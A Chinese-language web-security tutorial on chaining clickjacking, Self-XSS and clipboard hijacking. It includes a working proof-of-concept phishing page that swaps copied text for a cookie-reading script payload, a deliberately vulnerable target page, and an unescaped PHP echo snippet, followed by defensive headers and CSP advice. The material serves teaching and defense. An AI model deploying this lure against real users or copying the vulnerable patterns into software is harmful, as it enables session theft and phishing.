点击劫持、Self-XSS、复制粘贴劫持的组合攻击学习——XSS劫持
字数 1424 2025-08-20 18:17:31
XSS劫持:点击劫持、Self-XSS与复制粘贴劫持的组合攻击
1. 攻击技术概述
XSS劫持是一种结合了多种前端攻击技术的复合攻击方式,主要利用以下三种技术的组合:
- 点击劫持(Clickjacking):通过iframe或其它方式将目标网站透明层覆盖在诱饵页面上,诱使用户在不知情的情况下与目标网站交互
- Self-XSS:一种需要用户自己输入恶意代码才能触发的XSS漏洞,通常被认为难以利用
- 复制粘贴劫持:通过JavaScript劫持用户的剪贴板操作,控制复制粘贴内容
2. 各技术详解
2.1 点击劫持(Clickjacking)
原理:
- 利用iframe将目标网站嵌入攻击者控制的页面
- 通过CSS设置iframe为透明或部分透明
- 在iframe上方放置诱饵元素,诱使用户点击
检测方法:
- 检查响应头是否缺少
X-Frame-Options - 常见防护头:
X-Frame-Options: DENY或X-Frame-Options: SAMEORIGIN
2.2 Self-XSS
特点:
- 需要用户自己输入恶意payload才能触发
- 常见于表单自动填充功能中,当网站未对回显内容进行过滤时
- 传统上被认为难以利用,因为用户不会主动输入恶意代码
示例场景:
<!-- 登录失败后自动回填用户名,未过滤 -->
<input type="text" name="username" value="<?php echo $_POST['username']; ?>">
2.3 复制粘贴劫持
实现方式:
- 通过监听
copy事件修改剪贴板内容 - 可以强制将用户复制的任何内容替换为攻击者预设的内容
示例代码:
document.addEventListener('copy', function(e){
e.clipboardData.setData('text/plain', '<script>alert(document.cookie)</script>');
e.preventDefault(); // 阻止默认复制行为
});
3. 组合攻击实现
3.1 攻击流程
-
攻击者构建一个钓鱼页面,包含:
- 正常的表单输入框(如邮箱注册)
- 通过iframe嵌入存在Self-XSS漏洞的目标页面
- 设置复制粘贴劫持脚本
-
用户操作过程:
- 在第一个输入框输入真实邮箱
- 习惯性复制邮箱内容准备粘贴到第二个输入框
- 复制操作被劫持,实际粘贴的是XSS payload
- XSS payload被粘贴到目标网站的iframe中,触发Self-XSS
3.2 完整POC示例
<html>
<head>
</head>
<body>
Enter your email below to register:
</br>
<textarea autofocus style="width:220px; height:35px;"></textarea>
</br>
Repeat your email:
</br>
<iframe style="width:230px; height:50px;" frameBorder="0" src="vulnerable_page.html"></iframe>
</br>
<input type="submit"></input>
<script>
document.addEventListener('copy', function(e){
e.clipboardData.setData('text/plain', '\x3cscript\x3ealert(document.cookie)\x3c/script\x3e');
e.preventDefault();
});
</script>
</body>
</html>
3.3 目标页面示例(vulnerable_page.html)
<html>
<head>
<script src="angular.min.js"></script>
<script src="main.js"></script>
</head>
<body ng-app="xssApp" ng-controller="mainController">
<h1> </h1>
<textarea placeholer="Vulnerable to XSS" ng-model="textArea" ng-change="checkForAlert(textArea)" style="height:100%; width:100%;">
</textarea>
</body>
</html>
配套JavaScript(main.js):
var redisApp = angular.module('xssApp', []);
redisApp.controller('mainController', ['$scope', function($scope) {
$scope.checkForAlert = function(text){
if(text == "<script>alert(document.cookie)</script>"){
alert(document.cookie);
}
}
}]);
4. 防御措施
4.1 针对点击劫持
- 设置HTTP响应头:
X-Frame-Options: DENY 或 X-Frame-Options: SAMEORIGIN - 使用现代浏览器支持的
Content-Security-Policy:Content-Security-Policy: frame-ancestors 'none' - 使用JavaScript防御(不推荐作为主要防御):
if (top != self) top.location = self.location;
4.2 针对Self-XSS
- 对所有用户输入进行严格的输出编码
- 禁用或严格限制表单自动填充功能
- 实现内容安全策略(CSP):
Content-Security-Policy: default-src 'self'
4.3 针对复制粘贴劫持
- 教育用户不要轻易在不可信网站进行复制粘贴操作
- 浏览器扩展可以监控剪贴板操作
- 网站可以提示用户粘贴操作被拦截(但可能影响用户体验)
5. 实际应用场景
这种组合攻击特别适合以下场景:
- 用户登录/注册流程:利用用户重复输入相同信息的习惯
- 两步验证过程:用户可能需要复制验证码等信息
- 社交工程攻击:结合钓鱼邮件或消息诱导用户访问恶意页面
6. 参考资源
7. 总结
XSS劫持展示了如何将多个看似低危或难以利用的漏洞组合成有效的攻击链。安全防护需要全面考虑各种可能的攻击面,不能因为单个漏洞难以利用就忽视其潜在风险。开发者应实施深度防御策略,同时用户也需要提高安全意识,避免成为此类复合攻击的受害者。